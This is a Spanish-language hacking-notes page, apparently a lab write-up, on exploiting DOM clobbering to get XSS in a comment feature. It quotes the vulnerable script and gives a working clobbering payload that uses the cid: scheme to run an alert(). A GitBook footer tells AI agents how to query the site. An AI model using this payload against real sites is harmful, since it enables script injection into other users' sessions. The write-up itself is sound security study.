> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/dom/dom-clobbering-xss.md).

# DOM Clobbering XSS

### Aprovechando DOM Clobbering para habilitar XSS

Exploita una vulnerabilidad de DOM clobbering. La funcionalidad de comentarios permite un HTML "seguro". El objetivo es inyectar un fragmento HTML que sobrescriba una variable del DOM (clobbering) y desencadenar la ejecución de un XSS (`alert()`).

<figure><img src="/files/48753bc233e5e6f96bcecd322c33f94569182a83" alt=""><figcaption></figcaption></figure>

El área de comentarios acepta HTML y se devuelven algunos elementos (por ejemplo, un `<h1>` intérprete).

<figure><img src="/files/2b340598797a3b3cabd1f8ffccacf9fd085a9146" alt="" width="539"><figcaption></figcaption></figure>

* El script del lado del cliente carga y muestra los comentarios recuperados en JSON. Usa `DOMPurify.sanitize()` para limpiar `author` y `cuerpo` los campos, pero otras manipulaciones del DOM siguen siendo vulnerables al clobbering.

```javascript
function loadComments(postCommentPath) {
    let xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            let comments = JSON.parse(this.responseText);
            displayComments(comments);
        }
    };
    xhr.open("GET", postCommentPath + window.location.search);
    xhr.send();

    function escapeHTML(data) {
        return data.replace(/[<>'\"]/g, function(c){
            return '&#' + c.charCodeAt(0) + ';';
        })
    }

    function displayComments(comments) {
        let userComments = document.getElementById("user-comments");

        for (let i = 0; i < comments.length; ++i)
        {
            comment = comments[i];
            let commentSection = document.createElement("section");
            commentSection.setAttribute("class", "comment");

            let firstPElement = document.createElement("p");

            let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
            let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';

            let divImgContainer = document.createElement("div");
            divImgContainer.innerHTML = avatarImgHTML

            if (comment.author) {
                if (comment.website) {
                    let websiteElement = document.createElement("a");
                    websiteElement.setAttribute("id", "author");
                    websiteElement.setAttribute("href", comment.website);
                    firstPElement.appendChild(websiteElement)
                }

                let newInnerHtml = firstPElement.innerHTML + DOMPurify.sanitize(comment.author)
                firstPElement.innerHTML = newInnerHtml
            }

            if (comment.date) {
                let dateObj = new Date(comment.date)
                let month = '' + (dateObj.getMonth() + 1);
                let day = '' + dateObj.getDate();
                let year = dateObj.getFullYear();

                if (month.length < 2)
                    month = '0' + month;
                if (day.length < 2)
                    day = '0' + day;

                dateStr = [day, month, year].join('-');

                let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
                firstPElement.innerHTML = newInnerHtml
            }

            firstPElement.appendChild(divImgContainer);

            commentSection.appendChild(firstPElement);

            if (comment.body) {
                let commentBodyPElement = document.createElement("p");
                commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body);

                commentSection.appendChild(commentBodyPElement);
            }
            commentSection.appendChild(document.createElement("p"));

            userComments.appendChild(commentSection);
        }
    }
};
```

* El código crea un `defaultAvatar` objeto leyendo `window.defaultAvatar` si está presente; `defaultAvatar` puede, por tanto, sobrescribirse mediante un elemento DOM con un `defaultAvatar` identificador (clobbering).
* Como el `src` atributo de la `<img>` se construye a partir de `defaultAvatar.avatar` cuando `comment.avatar` está ausente, es posible forzar un `defaultAvatar` controlado por el atacante para influir en el valor insertado.
* La inserción se realiza mediante `divImgContainer.innerHTML = avatarImgHTML`, lo que desencadena la interpretación de la cadena HTML construida.

{% code overflow="wrap" %}

```javascript
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
```

{% endcode %}

Intenta forzar `defaultAvatar` mediante una `<a id=defaultAvatar>` elemento que contiene un atributo que probablemente provoque un error del lado del cliente (p. ej., `onerror=alert(0)`).

```html
<a id=defaultAvatar>
<a id=defaultAvatar name=avatar href="0&quot;onerror=alert(0)>//">
```

Esto está codificado en URL por el sistema

<figure><img src="/files/0f4fe0c5d1a74b7f5d4cc5cadf1dc60be0904c93" alt="" width="480"><figcaption></figcaption></figure>

<figure><img src="/files/972c02bd43164eaa92047671fe40e743817fe263" alt=""><figcaption></figcaption></figure>

Contorneado probado usando un `cid:` esquema para que el valor no se codifique:

```javascript
<a id=defaultAvatar>
<a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(0)>//">
```

este último se interpreta

<figure><img src="/files/64322e8b3dffd974089b517ee41e6a688994048f" alt="" width="443"><figcaption></figcaption></figure>

<figure><img src="/files/5ee6150664ca2c0f0a6a0d12d79cd69be2c3459e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/dom/dom-clobbering-xss.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
